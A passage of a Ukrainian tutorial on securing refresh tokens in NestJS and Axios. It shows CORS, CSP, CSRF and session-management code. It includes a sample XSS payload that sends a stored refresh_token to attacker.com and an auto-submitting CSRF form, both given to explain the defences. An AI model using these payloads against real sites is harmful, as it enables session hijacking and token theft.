'cookie-parser'",[5274,15641,5852],{"class":5295},[5274,15643,15644],{"class":5276,"line":5368},[5274,15645,5577],{"emptyLinePlaceholder":5576},[5274,15647,15648,15650,15652,15655],{"class":5276,"line":5470},[5274,15649,5582],{"class":5287},[5274,15651,5585],{"class":5287},[5274,15653,15654],{"class":5311}," bootstrap",[5274,15656,14428],{"class":5295},[5274,15658,15659,15661,15664,15666,15668,15671,15673,15675,15677,15679],{"class":5276,"line":5644},[5274,15660,5728],{"class":5287},[5274,15662,15663],{"class":5291}," app",[5274,15665,5296],{"class":5295},[5274,15667,5770],{"class":5605},[5274,15669,15670],{"class":5305}," NestFactory",[5274,15672,5302],{"class":5295},[5274,15674,7579],{"class":5311},[5274,15676,5414],{"class":5295},[5274,15678,15612],{"class":5305},[5274,15680,5371],{"class":5295},[5274,15682,15683],{"class":5276,"line":5650},[5274,15684,5577],{"emptyLinePlaceholder":5576},[5274,15686,15687],{"class":5276,"line":5674},[5274,15688,15689],{"class":5280},"  \u002F\u002F Увімкнення cookie-parser для читання Cookies\n",[5274,15691,15692,15695,15697,15699,15701,15704],{"class":5276,"line":5680},[5274,15693,15694],{"class":5305},"  app",[5274,15696,5302],{"class":5295},[5274,15698,7813],{"class":5311},[5274,15700,5414],{"class":5295},[5274,15702,15703],{"class":5311},"cookieParser",[5274,15705,15706],{"class":5295},"());\n",[5274,15708,15709],{"class":5276,"line":5685},[5274,15710,5577],{"emptyLinePlaceholder":5576},[5274,15712,15713],{"class":5276,"line":5691},[5274,15714,15715],{"class":5280},"  \u002F\u002F CORS конфігурація\n",[5274,15717,15718,15720,15722,15725],{"class":5276,"line":5855},[5274,15719,15694],{"class":5305},[5274,15721,5302],{"class":5295},[5274,15723,15724],{"class":5311},"enableCors",[5274,15726,6354],{"class":5295},[5274,15728,15729,15732,15735,15737],{"class":5276,"line":5860},[5274,15730,15731],{"class":5305},"    origin:",[5274,15733,15734],{"class":5358}," 'https:\u002F\u002Fapp.example.com'",[5274,15736,5129],{"class":5295},[5274,15738,15739],{"class":5280},"\u002F\u002F ✅ Явно вказуємо домен фронтенду\n",[5274,15741,15742,15745,15747,15749],{"class":5276,"line":5865},[5274,15743,15744],{"class":5305},"    credentials:",[5274,15746,7599],{"class":5287},[5274,15748,5129],{"class":5295},[5274,15750,15751],{"class":5280},"\u002F\u002F ✅ Дозволяємо надсилання Cookies\n",[5274,15753,15754,15757,15759,15762,15764,15767,15769,15772,15774,15777,15779,15782],{"class":5276,"line":6032},[5274,15755,15756],{"class":5305},"    methods:",[5274,15758,11330],{"class":5295},[5274,15760,15761],{"class":5358},"'GET'",[5274,15763,5129],{"class":5295},[5274,15765,15766],{"class":5358},"'POST'",[5274,15768,5129],{"class":5295},[5274,15770,15771],{"class":5358},"'PUT'",[5274,15773,5129],{"class":5295},[5274,15775,15776],{"class":5358},"'DELETE'",[5274,15778,5129],{"class":5295},[5274,15780,15781],{"class":5358},"'OPTIONS'",[5274,15783,6174],{"class":5295},[5274,15785,15786,15789,15791,15794,15796,15798],{"class":5276,"line":6038},[5274,15787,15788],{"class":5305},"    allowedHeaders:",[5274,15790,11330],{"class":5295},[5274,15792,15793],{"class":5358},"'Content-Type'",[5274,15795,5129],{"class":5295},[5274,15797,8245],{"class":5358},[5274,15799,6174],{"class":5295},[5274,15801,15802],{"class":5276,"line":6044},[5274,15803,10319],{"class":5295},[5274,15805,15806],{"class":5276,"line":6050},[5274,15807,5577],{"emptyLinePlaceholder":5576},[5274,15809,15810,15812,15814,15816,15819,15821,15824],{"class":5276,"line":6947},[5274,15811,10264],{"class":5605},[5274,15813,15663],{"class":5305},[5274,15815,5302],{"class":5295},[5274,15817,15818],{"class":5311},"listen",[5274,15820,5414],{"class":5295},[5274,15822,15823],{"class":6196},"3000",[5274,15825,5371],{"class":5295},[5274,15827,15828],{"class":5276,"line":6953},[5274,15829,5677],{"class":5295},[5274,15831,15832,15835],{"class":5276,"line":6959},[5274,15833,15834],{"class":5311},"bootstrap",[5274,15836,6321],{"class":5295},[5089,15838,15839],{},[5099,15840,15841],{},"На клієнті (Axios):",[5265,15843,15845],{"className":5267,"code":15844,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fapi\u002Faxios-instance.ts\nimport axios from 'axios';\n\nconst api = axios.create({\n  baseURL: 'https:\u002F\u002Fapi.example.com',\n  withCredentials: true, \u002F\u002F ✅ Дозволяє надсилання та отримання Cookies\n});\n\nexport default api;\n",[5122,15846,15847,15851,15863,15867,15883,15891,15902,15906,15910],{"__ignoreMap":5270},[5274,15848,15849],{"class":5276,"line":5277},[5274,15850,7543],{"class":5280},[5274,15852,15853,15855,15857,15859,15861],{"class":5276,"line":5284},[5274,15854,6282],{"class":5605},[5274,15856,7550],{"class":5305},[5274,15858,7553],{"class":5605},[5274,15860,7556],{"class":5358},[5274,15862,5852],{"class":5295},[5274,15864,15865],{"class":5276,"line":5318},[5274,15866,5577],{"emptyLinePlaceholder":5576},[5274,15868,15869,15871,15873,15875,15877,15879,15881],{"class":5276,"line":5350},[5274,15870,5288],{"class":5287},[5274,15872,7569],{"class":5291},[5274,15874,5296],{"class":5295},[5274,15876,7574],{"class":5305},[5274,15878,5302],{"class":5295},[5274,15880,7579],{"class":5311},[5274,15882,6354],{"class":5295},[5274,15884,15885,15887,15889],{"class":5276,"line":5368},[5274,15886,7586],{"class":5305},[5274,15888,7589],{"class":5358},[5274,15890,5443],{"class":5295},[5274,15892,15893,15895,15897,15899],{"class":5276,"line":5470},[5274,15894,7596],{"class":5305},[5274,15896,7599],{"class":5287},[5274,15898,5129],{"class":5295},[5274,15900,15901],{"class":5280},"\u002F\u002F ✅ Дозволяє надсилання та отримання Cookies\n",[5274,15903,15904],{"class":5276,"line":5644},[5274,15905,5473],{"class":5295},[5274,15907,15908],{"class":5276,"line":5650},[5274,15909,5577],{"emptyLinePlaceholder":5576},[5274,15911,15912,15914,15916,15918],{"class":5276,"line":5674},[5274,15913,8490],{"class":5605},[5274,15915,8493],{"class":5605},[5274,15917,7569],{"class":5305},[5274,15919,5852],{"class":5295},[12113,15921,15922,15925,15926,15929,15930,15933,15934,15937,15938,5302],{},[5099,15923,15924],{},"Критично важливо:"," якщо використовуєте HttpOnly Cookies для cross-origin запитів, ",[5099,15927,15928],{},"ніколи"," не встановлюйте ",[5122,15931,15932],{},"Access-Control-Allow-Origin: *"," — це заборонено браузером при ",[5122,15935,15936],{},"credentials: true",". Завжди явно вказуйте домен фронтенду у ",[5122,15939,15940],{},"origin",[5171,15942],{},[5084,15944,15946],{"id":15945},"сценарії-компрометації-та-захист","Сценарії компрометації та захист",[5089,15948,15949],{},"Розглянемо різні вектори атак та механізми захисту для кожного з них.",[5257,15951,15953],{"id":15952},"сценарій-1-xss-атака-cross-site-scripting","Сценарій 1: XSS атака (Cross-Site Scripting)",[5089,15955,15956],{},[5099,15957,15958],{},"Атака:",[5089,15960,15961],{},"Зловмисник ін'єктує JavaScript код через вразливість у застосунку (наприклад, через коментарі без санітизації):",[5265,15963,15967],{"className":15964,"code":15965,"language":15966,"meta":5270,"style":5270},"language-html shiki shiki-themes light-plus dark-plus dark-plus","\u003C!-- Шкідливий коментар користувача -->\n\u003Cimg src=\"x\" onerror=\"\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal', {\n    method: 'POST',\n    body: localStorage.getItem('refresh_token')\n  });\n\" \u002F>\n","html",[5122,15968,15969,15974,16001,16017,16028,16047,16051],{"__ignoreMap":5270},[5274,15970,15971],{"class":5276,"line":5277},[5274,15972,15973],{"class":5280},"\u003C!-- Шкідливий коментар користувача -->\n",[5274,15975,15976,15979,15982,15986,15989,15993,15996,15998],{"class":5276,"line":5284},[5274,15977,5564],{"class":15978},"s0P7L",[5274,15980,15981],{"class":7178},"img",[5274,15983,15985],{"class":15984},"sa4r_"," src",[5274,15987,15988],{"class":5295},"=",[5274,15990,15992],{"class":15991},"su9tN","\"x\"",[5274,15994,15995],{"class":15984}," onerror",[5274,15997,15988],{"class":5295},[5274,15999,16000],{"class":15991},"\"\n",[5274,16002,16003,16006,16008,16011,16014],{"class":5276,"line":5318},[5274,16004,16005],{"class":5311},"  fetch",[5274,16007,5414],{"class":15991},[5274,16009,16010],{"class":5358},"'https",[5274,16012,5383],{"class":16013},"se1LK",[5274,16015,16016],{"class":5280},"\u002F\u002Fattacker.com\u002Fsteal', {\n",[5274,16018,16019,16022,16024,16026],{"class":5276,"line":5350},[5274,16020,16021],{"class":6710},"    method",[5274,16023,5595],{"class":15991},[5274,16025,15766],{"class":5358},[5274,16027,5443],{"class":15991},[5274,16029,16030,16033,16035,16037,16039,16041,16043,16045],{"class":5276,"line":5368},[5274,16031,16032],{"class":6710},"    body",[5274,16034,5595],{"class":15991},[5274,16036,5382],{"class":5305},[5274,16038,5302],{"class":15991},[5274,16040,5411],{"class":5311},[5274,16042,5414],{"class":15991},[5274,16044,13910],{"class":5358},[5274,16046,8906],{"class":15991},[5274,16048,16049],{"class":5276,"line":5470},[5274,16050,10319],{"class":15991},[5274,16052,16053,16056],{"class":5276,"line":5644},[5274,16054,16055],{"class":15991},"\"",[5274,16057,16058],{"class":15978}," \u002F>\n",[5089,16060,16061],{},[5099,16062,16063],{},"Захист:",[5478,16065,16066,16073],{},[5096,16067,16068,16069,16072],{},"✅ ",[5099,16070,16071],{},"Зберігання Refresh Token у HttpOnly Cookie"," — JavaScript не має доступу.",[5096,16074,16068,16075,16078],{},[5099,16076,16077],{},"CSP (Content Security Policy)"," — блокування inline scripts та обмеження джерел скриптів:",[5265,16080,16082],{"className":5267,"code":16081,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fmain.ts\napp.use((req, res, next) => {\n  res.setHeader(\n    'Content-Security-Policy',\n    \"default-src 'self'; script-src 'self'; connect-src 'self' https:\u002F\u002Fapi.example.com\"\n  );\n  next();\n});\n",[5122,16083,16084,16089,16119,16131,16138,16143,16147,16154],{"__ignoreMap":5270},[5274,16085,16086],{"class":5276,"line":5277},[5274,16087,16088],{"class":5280},"\u002F\u002F src\u002Fmain.ts\n",[5274,16090,16091,16094,16096,16098,16100,16103,16105,16108,16110,16113,16115,16117],{"class":5276,"line":5284},[5274,16092,16093],{"class":5305},"app",[5274,16095,5302],{"class":5295},[5274,16097,7813],{"class":5311},[5274,16099,7757],{"class":5295},[5274,16101,16102],{"class":5305},"req",[5274,16104,5129],{"class":5295},[5274,16106,16107],{"class":5305},"res",[5274,16109,5129],{"class":5295},[5274,16111,16112],{"class":5305},"next",[5274,16114,7651],{"class":5295},[5274,16116,7654],{"class":5287},[5274,16118,7239],{"class":5295},[5274,16120,16121,16124,16126,16129],{"class":5276,"line":5318},[5274,16122,16123],{"class":5305},"  res",[5274,16125,5302],{"class":5295},[5274,16127,16128],{"class":5311},"setHeader",[5274,16130,5315],{"class":5295},[5274,16132,16133,16136],{"class":5276,"line":5350},[5274,16134,16135],{"class":5358},"    'Content-Security-Policy'",[5274,16137,5443],{"class":5295},[5274,16139,16140],{"class":5276,"line":5368},[5274,16141,16142],{"class":5358},"    \"default-src 'self'; script-src 'self'; connect-src 'self' https:\u002F\u002Fapi.example.com\"\n",[5274,16144,16145],{"class":5276,"line":5470},[5274,16146,13153],{"class":5295},[5274,16148,16149,16152],{"class":5276,"line":5644},[5274,16150,16151],{"class":5311},"  next",[5274,16153,6321],{"class":5295},[5274,16155,16156],{"class":5276,"line":5650},[5274,16157,5473],{"class":5295},[5478,16159,16160],{"start":5318},[5096,16161,16068,16162,16165],{},[5099,16163,16164],{},"Санітизація вхідних даних"," — використання бібліотек DOMPurify для очищення HTML:",[5265,16167,16169],{"className":5267,"code":16168,"language":5269,"meta":5270,"style":5270},"import DOMPurify from 'dompurify';\n\nconst userComment = DOMPurify.sanitize(rawComment);\n",[5122,16170,16171,16185,16189],{"__ignoreMap":5270},[5274,16172,16173,16175,16178,16180,16183],{"class":5276,"line":5277},[5274,16174,6282],{"class":5605},[5274,16176,16177],{"class":5305}," DOMPurify",[5274,16179,7553],{"class":5605},[5274,16181,16182],{"class":5358}," 'dompurify'",[5274,16184,5852],{"class":5295},[5274,16186,16187],{"class":5276,"line":5284},[5274,16188,5577],{"emptyLinePlaceholder":5576},[5274,16190,16191,16193,16196,16198,16201,16203,16206,16208,16211],{"class":5276,"line":5318},[5274,16192,5288],{"class":5287},[5274,16194,16195],{"class":5291}," userComment",[5274,16197,5296],{"class":5295},[5274,16199,16200],{"class":5305},"DOMPurify",[5274,16202,5302],{"class":5295},[5274,16204,16205],{"class":5311},"sanitize",[5274,16207,5414],{"class":5295},[5274,16209,16210],{"class":5305},"rawComment",[5274,16212,5371],{"class":5295},[5257,16214,16216],{"id":16215},"сценарій-2-csrf-атака-cross-site-request-forgery","Сценарій 2: CSRF атака (Cross-Site Request Forgery)",[5089,16218,16219],{},[5099,16220,15958],{},[5089,16222,16223,16224,16226],{},"Зловмисницький сайт надсилає запит до ",[5122,16225,5155],{}," від імені автентифікованого користувача:",[5265,16228,16230],{"className":15964,"code":16229,"language":15966,"meta":5270,"style":5270},"\u003C!-- Сторінка зловмисника attacker.com -->\n\u003Cform action=\"https:\u002F\u002Fapi.example.com\u002Fauth\u002Frefresh\" method=\"POST\">\n  \u003Cinput type=\"submit\" value=\"Виграй iPhone!\" \u002F>\n\u003C\u002Fform>\n\u003Cscript>\n  document.forms[0].submit(); \u002F\u002F Автоматична відправка\n\u003C\u002Fscript>\n",[5122,16231,16232,16237,16262,16287,16296,16305,16332],{"__ignoreMap":5270},[5274,16233,16234],{"class":5276,"line":5277},[5274,16235,16236],{"class":5280},"\u003C!-- Сторінка зловмисника attacker.com -->\n",[5274,16238,16239,16241,16244,16247,16249,16252,16255,16257,16260],{"class":5276,"line":5284},[5274,16240,5564],{"class":15978},[5274,16242,16243],{"class":7178},"form",[5274,16245,16246],{"class":15984}," action",[5274,16248,15988],{"class":5295},[5274,16250,16251],{"class":15991},"\"https:\u002F\u002Fapi.example.com\u002Fauth\u002Frefresh\"",[5274,16253,16254],{"class":15984}," method",[5274,16256,15988],{"class":5295},[5274,16258,16259],{"class":15991},"\"POST\"",[5274,16261,15098],{"class":15978},[5274,16263,16264,16267,16270,16273,16275,16278,16280,16282,16285],{"class":5276,"line":5318},[5274,16265,16266],{"class":15978},"  \u003C",[5274,16268,16269],{"class":7178},"input",[5274,16271,16272],{"class":15984}," type",[5274,16274,15988],{"class":5295},[5274,16276,16277],{"class":15991},"\"submit\"",[5274,16279,9488],{"class":15984},[5274,16281,15988],{"class":5295},[5274,16283,16284],{"class":15991},"\"Виграй iPhone!\"",[5274,16286,16058],{"class":15978},[5274,16288,16289,16292,16294],{"class":5276,"line":5350},[5274,16290,16291],{"class":15978},"\u003C\u002F",[5274,16293,16243],{"class":7178},[5274,16295,15098],{"class":15978},[5274,16297,16298,16300,16303],{"class":5276,"line":5368},[5274,16299,5564],{"class":15978},[5274,16301,16302],{"class":7178},"script",[5274,16304,15098],{"class":15978},[5274,16306,16307,16310,16312,16315,16317,16320,16323,16326,16329],{"class":5276,"line":5470},[5274,16308,16309],{"class":5305},"  document",[5274,16311,5302],{"class":11993},[5274,16313,16314],{"class":5305},"forms",[5274,16316,8242],{"class":11993},[5274,16318,16319],{"class":6196},"0",[5274,16321,16322],{"class":11993},"].",[5274,16324,16325],{"class":5311},"submit",[5274,16327,16328],{"class":11993},"(); ",[5274,16330,16331],{"class":5280},"\u002F\u002F Автоматична відправка\n",[5274,16333,16334,16336,16338],{"class":5276,"line":5644},[5274,16335,16291],{"class":15978},[5274,16337,16302],{"class":7178},[5274,16339,15098],{"class":15978},[5089,16341,16342],{},[5099,16343,16063],{},[5478,16345,16346],{},[5096,16347,16068,16348,16351],{},[5099,16349,16350],{},"SameSite Cookie"," — браузер не надсилає Cookie у cross-site запитах:",[5265,16353,16355],{"className":5267,"code":16354,"language":5269,"meta":5270,"style":5270},"response.cookie('refreshToken', token, {\n  sameSite: 'strict', \u002F\u002F Або 'lax' для менш жорстких обмежень\n});\n",[5122,16356,16357,16375,16386],{"__ignoreMap":5270},[5274,16358,16359,16361,16363,16365,16367,16369,16371,16373],{"class":5276,"line":5277},[5274,16360,7808],{"class":5305},[5274,16362,5302],{"class":5295},[5274,16364,12646],{"class":5311},[5274,16366,5414],{"class":5295},[5274,16368,12651],{"class":5358},[5274,16370,5129],{"class":5295},[5274,16372,5132],{"class":5305},[5274,16374,5432],{"class":5295},[5274,16376,16377,16379,16381,16383],{"class":5276,"line":5284},[5274,16378,14185],{"class":5305},[5274,16380,12697],{"class":5358},[5274,16382,5129],{"class":5295},[5274,16384,16385],{"class":5280},"\u002F\u002F Або 'lax' для менш жорстких обмежень\n",[5274,16387,16388],{"class":5276,"line":5318},[5274,16389,5473],{"class":5295},[5478,16391,16392],{"start":5284},[5096,16393,16068,16394,16397],{},[5099,16395,16396],{},"CSRF Token"," — додатковий токен у заголовку або формі (подвійний захист):",[5265,16399,16401],{"className":5267,"code":16400,"language":5269,"meta":5270,"style":5270},"\u002F\u002F Генерація CSRF токена при логіні\nconst csrfToken = randomUUID();\nresponse.cookie('csrf_token', csrfToken, { httpOnly: false });\n\n\u002F\u002F Перевірка CSRF токена при \u002Fauth\u002Frefresh\nif (request.headers['x-csrf-token'] !== request.cookies.csrf_token) {\n  throw new ForbiddenException('Invalid CSRF token');\n}\n",[5122,16402,16403,16408,16421,16449,16453,16458,16492,16509],{"__ignoreMap":5270},[5274,16404,16405],{"class":5276,"line":5277},[5274,16406,16407],{"class":5280},"\u002F\u002F Генерація CSRF токена при логіні\n",[5274,16409,16410,16412,16415,16417,16419],{"class":5276,"line":5284},[5274,16411,5288],{"class":5287},[5274,16413,16414],{"class":5291}," csrfToken",[5274,16416,5296],{"class":5295},[5274,16418,6288],{"class":5311},[5274,16420,6321],{"class":5295},[5274,16422,16423,16425,16427,16429,16431,16434,16436,16439,16441,16444,16447],{"class":5276,"line":5318},[5274,16424,7808],{"class":5305},[5274,16426,5302],{"class":5295},[5274,16428,12646],{"class":5311},[5274,16430,5414],{"class":5295},[5274,16432,16433],{"class":5358},"'csrf_token'",[5274,16435,5129],{"class":5295},[5274,16437,16438],{"class":5305},"csrfToken",[5274,16440,8965],{"class":5295},[5274,16442,16443],{"class":5305},"httpOnly:",[5274,16445,16446],{"class":5287}," false",[5274,16448,15005],{"class":5295},[5274,16450,16451],{"class":5276,"line":5350},[5274,16452,5577],{"emptyLinePlaceholder":5576},[5274,16454,16455],{"class":5276,"line":5368},[5274,16456,16457],{"class":5280},"\u002F\u002F Перевірка CSRF токена при \u002Fauth\u002Frefresh\n",[5274,16459,16460,16463,16465,16467,16469,16471,16473,16476,16479,16481,16483,16485,16487,16490],{"class":5276,"line":5470},[5274,16461,16462],{"class":5605},"if",[5274,16464,5509],{"class":5295},[5274,16466,12532],{"class":5305},[5274,16468,5302],{"class":5295},[5274,16470,7988],{"class":5305},[5274,16472,8242],{"class":5295},[5274,16474,16475],{"class":5358},"'x-csrf-token'",[5274,16477,16478],{"class":5295},"] !== ",[5274,16480,12532],{"class":5305},[5274,16482,5302],{"class":5295},[5274,16484,13059],{"class":5305},[5274,16486,5302],{"class":5295},[5274,16488,16489],{"class":5305},"csrf_token",[5274,16491,5600],{"class":5295},[5274,16493,16494,16497,16499,16502,16504,16507],{"class":5276,"line":5644},[5274,16495,16496],{"class":5605},"  throw",[5274,16498,5631],{"class":5287},[5274,16500,16501],{"class":5311}," ForbiddenException",[5274,16503,5414],{"class":5295},[5274,16505,16506],{"class":5358},"'Invalid CSRF token'",[5274,16508,5371],{"class":5295},[5274,16510,16511],{"class":5276,"line":5650},[5274,16512,5677],{"class":5295},[5257,16514,16516],{"id":16515},"сценарій-3-token-replay-attack","Сценарій 3: Token Replay Attack",[5089,16518,16519],{},[5099,16520,15958],{},[5089,16522,16523],{},"Зловмисник перехоплює Refresh Token (через MITM або витік БД) та намагається використати його багаторазово.",[5089,16525,16526],{},[5099,16527,16063],{},[5478,16529,16530,16535,16541],{},[5096,16531,16068,16532,16534],{},[5099,16533,10422],{}," — при кожному використанні токен інвалідується (описано вище).",[5096,16536,16068,16537,16540],{},[5099,16538,16539],{},"Reuse Detection"," — виявлення спроб використання старого токена → відкликання всіх токенів користувача.",[5096,16542,16068,16543,16546],{},[5099,16544,16545],{},"Device Fingerprinting"," — прив'язка токена до пристрою:",[5265,16548,16550],{"className":5267,"code":16549,"language":5269,"meta":5270,"style":5270},"import Fingerprint from 'fingerprintjs2';\n\n\u002F\u002F На клієнті: генерація fingerprint\nFingerprint.get((components) => {\n  const fingerprint = Fingerprint.x64hash128(\n    components.map((c) => c.value).join(''),\n    31\n  );\n  \n  \u002F\u002F Надсилаємо fingerprint при логіні та refresh\n  api.post('\u002Fauth\u002Flogin', { email, password, fingerprint });\n});\n\n\u002F\u002F На сервері: збереження fingerprint разом з токеном\nawait this.refreshTokenRepo.save({\n  token: refreshToken,\n  userId: user.id,\n  fingerprint: request.body.fingerprint,\n});\n\n\u002F\u002F Перевірка fingerprint при refresh\nif (tokenRecord.fingerprint !== request.body.fingerprint) {\n  throw new UnauthorizedException('Device fingerprint mismatch');\n}\n",[5122,16551,16552,16566,16570,16575,16595,16613,16651,16656,16660,16664,16669,16698,16702,16706,16711,16727,16735,16747,16766,16770,16774,16779,16806,16821],{"__ignoreMap":5270},[5274,16553,16554,16556,16559,16561,16564],{"class":5276,"line":5277},[5274,16555,6282],{"class":5605},[5274,16557,16558],{"class":5305}," Fingerprint",[5274,16560,7553],{"class":5605},[5274,16562,16563],{"class":5358}," 'fingerprintjs2'",[5274,16565,5852],{"class":5295},[5274,16567,16568],{"class":5276,"line":5284},[5274,16569,5577],{"emptyLinePlaceholder":5576},[5274,16571,16572],{"class":5276,"line":5318},[5274,16573,16574],{"class":5280},"\u002F\u002F На клієнті: генерація fingerprint\n",[5274,16576,16577,16580,16582,16584,16586,16589,16591,16593],{"class":5276,"line":5350},[5274,16578,16579],{"class":5305},"Fingerprint",[5274,16581,5302],{"class":5295},[5274,16583,9746],{"class":5311},[5274,16585,7757],{"class":5295},[5274,16587,16588],{"class":5305},"components",[5274,16590,7651],{"class":5295},[5274,16592,7654],{"class":5287},[5274,16594,7239],{"class":5295},[5274,16596,16597,16599,16602,16604,16606,16608,16611],{"class":5276,"line":5368},[5274,16598,5728],{"class":5287},[5274,16600,16601],{"class":5291}," fingerprint",[5274,16603,5296],{"class":5295},[5274,16605,16579],{"class":5305},[5274,16607,5302],{"class":5295},[5274,16609,16610],{"class":5311},"x64hash128",[5274,16612,5315],{"class":5295},[5274,16614,16615,16618,16620,16623,16625,16628,16630,16632,16635,16637,16639,16641,16644,16646,16649],{"class":5276,"line":5470},[5274,16616,16617],{"class":5305},"    components",[5274,16619,5302],{"class":5295},[5274,16621,16622],{"class":5311},"map",[5274,16624,7757],{"class":5295},[5274,16626,16627],{"class":5305},"c",[5274,16629,7651],{"class":5295},[5274,16631,7654],{"class":5287},[5274,16633,16634],{"class":5305}," c",[5274,16636,5302],{"class":5295},[5274,16638,9569],{"class":5305},[5274,16640,5249],{"class":5295},[5274,16642,16643],{"class":5311},"join",[5274,16645,5414],{"class":5295},[5274,16647,16648],{"class":5358},"''",[5274,16650,6425],{"class":5295},[5274,16652,16653],{"class":5276,"line":5644},[5274,16654,16655],{"class":6196},"    31\n",[5274,16657,16658],{"class":5276,"line":5650},[5274,16659,13153],{"class":5295},[5274,16661,16662],{"class":5276,"line":5674},[5274,16663,5754],{"class":5295},[5274,16665,16666],{"class":5276,"line":5680},[5274,16667,16668],{"class":5280},"  \u002F\u002F Надсилаємо fingerprint при логіні та refresh\n",[5274,16670,16671,16674,16676,16678,16680,16683,16685,16687,16689,16691,16693,16696],{"class":5276,"line":5685},[5274,16672,16673],{"class":5305},"  api",[5274,16675,5302],{"class":5295},[5274,16677,8120],{"class":5311},[5274,16679,5414],{"class":5295},[5274,16681,16682],{"class":5358},"'\u002Fauth\u002Flogin'",[5274,16684,8965],{"class":5295},[5274,16686,5344],{"class":5305},[5274,16688,5129],{"class":5295},[5274,16690,12593],{"class":5305},[5274,16692,5129],{"class":5295},[5274,16694,16695],{"class":5305},"fingerprint",[5274,16697,15005],{"class":5295},[5274,16699,16700],{"class":5276,"line":5691},[5274,16701,5473],{"class":5295},[5274,16703,16704],{"class":5276,"line":5855},[5274,16705,5577],{"emptyLinePlaceholder":5576},[5274,16707,16708],{"class":5276,"line":5860},[5274,16709,16710],{"class":5280},"\u002F\u002F На сервері: збереження fingerprint разом з токеном\n",[5274,16712,16713,16715,16717,16719,16721,16723,16725],{"class":5276,"line":5865},[5274,16714,5770],{"class":5605},[5274,16716,5656],{"class":5287},[5274,16718,5302],{"class":5295},[5274,16720,11150],{"class":5305},[5274,16722,5302],{"class":5295},[5274,16724,6351],{"class":5311},[5274,16726,6354],{"class":5295},[5274,16728,16729,16731,16733],{"class":5276,"line":6032},[5274,16730,6359],{"class":5305},[5274,16732,6314],{"class":5305},[5274,16734,5443],{"class":5295},[5274,16736,16737,16739,16741,16743,16745],{"class":5276,"line":6038},[5274,16738,6368],{"class":5305},[5274,16740,5327],{"class":5305},[5274,16742,5302],{"class":5295},[5274,16744,5332],{"class":5305},[5274,16746,5443],{"class":5295},[5274,16748,16749,16752,16755,16757,16760,16762,16764],{"class":5276,"line":6044},[5274,16750,16751],{"class":5305},"  fingerprint:",[5274,16753,16754],{"class":5305}," request",[5274,16756,5302],{"class":5295},[5274,16758,16759],{"class":5305},"body",[5274,16761,5302],{"class":5295},[5274,16763,16695],{"class":5305},[5274,16765,5443],{"class":5295},[5274,16767,16768],{"class":5276,"line":6050},[5274,16769,5473],{"class":5295},[5274,16771,16772],{"class":5276,"line":6947},[5274,16773,5577],{"emptyLinePlaceholder":5576},[5274,16775,16776],{"class":5276,"line":6953},[5274,16777,16778],{"class":5280},"\u002F\u002F Перевірка fingerprint при refresh\n",[5274,16780,16781,16783,16785,16787,16789,16791,16794,16796,16798,16800,16802,16804],{"class":5276,"line":6959},[5274,16782,16462],{"class":5605},[5274,16784,5509],{"class":5295},[5274,16786,11352],{"class":5305},[5274,16788,5302],{"class":5295},[5274,16790,16695],{"class":5305},[5274,16792,16793],{"class":5295}," !== ",[5274,16795,12532],{"class":5305},[5274,16797,5302],{"class":5295},[5274,16799,16759],{"class":5305},[5274,16801,5302],{"class":5295},[5274,16803,16695],{"class":5305},[5274,16805,5600],{"class":5295},[5274,16807,16808,16810,16812,16814,16816,16819],{"class":5276,"line":6965},[5274,16809,16496],{"class":5605},[5274,16811,5631],{"class":5287},[5274,16813,5634],{"class":5311},[5274,16815,5414],{"class":5295},[5274,16817,16818],{"class":5358},"'Device fingerprint mismatch'",[5274,16820,5371],{"class":5295},[5274,16822,16823],{"class":5276,"line":6971},[5274,16824,5677],{"class":5295},[5929,16826,16827,16830],{},[5099,16828,16829],{},"Обмеження fingerprinting:"," device fingerprint не є абсолютно унікальним та може змінюватися при оновленні браузера або зміні налаштувань. Використовуйте його як додатковий рівень захисту, а не єдиний механізм верифікації.",[5171,16832],{},[5084,16834,16836],{"id":16835},"моніторинг-та-аудит-безпеки-сесій","Моніторинг та аудит безпеки сесій",[5089,16838,16839],{},"Для enterprise-систем критично важливо надавати користувачам можливість відстежувати активні сесії та виявляти підозрілу активність.",[5257,16841,16843],{"id":16842},"ui-для-управління-сесіями","UI для управління сесіями",[5089,16845,16846],{},[5099,16847,16848],{},"Таблиця активних сесій у профілі користувача:",[5265,16850,16852],{"className":5267,"code":16851,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fsessions\u002Fsessions.controller.ts\nimport { Controller, Get, Delete, Param, UseGuards } from '@nestjs\u002Fcommon';\nimport { JwtAuthGuard } from '..\u002Fauth\u002Fguards\u002Fjwt-auth.guard';\nimport { CurrentUser } from '..\u002Fauth\u002Fdecorators\u002Fcurrent-user.decorator';\nimport { SessionsService } from '.\u002Fsessions.service';\n\n@Controller('sessions')\n@UseGuards(JwtAuthGuard)\nexport class SessionsController {\n  constructor(private readonly sessionsService: SessionsService) {}\n\n  \u002F**\n   * GET \u002Fsessions\n   * Отримання списку всіх активних сесій користувача\n   *\u002F\n  @Get()\n  async getSessions(@CurrentUser('userId') userId: string) {\n    const sessions = await this.sessionsService.getUserSessions(userId);\n\n    return {\n      statusCode: 200,\n      data: sessions.map((session) => ({\n        id: session.id,\n        deviceName: session.deviceName || 'Unknown Device',\n        ipAddress: session.ipAddress,\n        location: this.getLocationFromIP(session.ipAddress), \u002F\u002F GeoIP lookup\n        createdAt: session.createdAt,\n        lastUsedAt: session.lastUsedAt,\n        isCurrent: this.isCurrentSession(session.token, userId),\n      })),\n    };\n  }\n\n  \u002F**\n   * DELETE \u002Fsessions\u002F:sessionId\n   * Відкликання конкретної сесії\n   *\u002F\n  @Delete(':sessionId')\n  async revokeSession(\n    @Param('sessionId') sessionId: string,\n    @CurrentUser('userId') userId: string,\n  ) {\n    await this.sessionsService.revokeSession(sessionId, userId);\n\n    return {\n      statusCode: 200,\n      message: 'Session revoked successfully',\n    };\n  }\n\n  private getLocationFromIP(ip: string): string {\n    \u002F\u002F Використання GeoIP бази даних (MaxMind GeoLite2)\n    \u002F\u002F return geoip.lookup(ip)?.city || 'Unknown Location';\n    return 'Київ, Україна'; \u002F\u002F Placeholder\n  }\n\n  private isCurrentSession(token: string, userId: string): boolean {\n    \u002F\u002F Порівняння з токеном поточного запиту\n    \u002F\u002F Реалізація залежить від архітектури\n    return false;\n  